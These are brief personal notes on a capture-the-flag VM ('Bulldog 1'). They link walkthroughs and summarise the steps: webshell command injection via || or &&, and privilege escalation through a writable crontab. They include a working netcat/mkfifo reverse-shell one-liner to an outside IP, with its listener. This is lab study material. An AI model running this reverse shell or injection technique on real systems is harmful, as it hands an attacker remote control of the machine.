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55 VM Bulldog 1

Walkthru :

A. https://medium.com/@krankoPwnz/walkthrough-for-bulldog-on-vulnhub-com-c834573e28fd [passwowd hash in source, webshell with limited command but use || or && to run any command, crontab, python reverse shell for priv escalation]

B. https://securitybytes.io/vulnhub-com-bulldog-ctf-solution-b00b4640327a [pwd in binary file extract it using strings file]
C. https://hack-ed.net/2017/11/09/bulldog-ctf-walkthrough/ [read files from webshell]
D. https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ [upgrade shell]

Notes:
There was a crontab file that runs daily. I tried to add bash revershell, added user to sudoer file, php reveershe shell but non worked. but I was able to create a file using that crontab which lead me to believe it is possible to perform escalation using it. I used rm cmd to perform revershell

reveres shell
rm /tmp/f|mkfifo /tmp/f|cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.1.100 1234 >/tmp/f
nc -nvlp 1234

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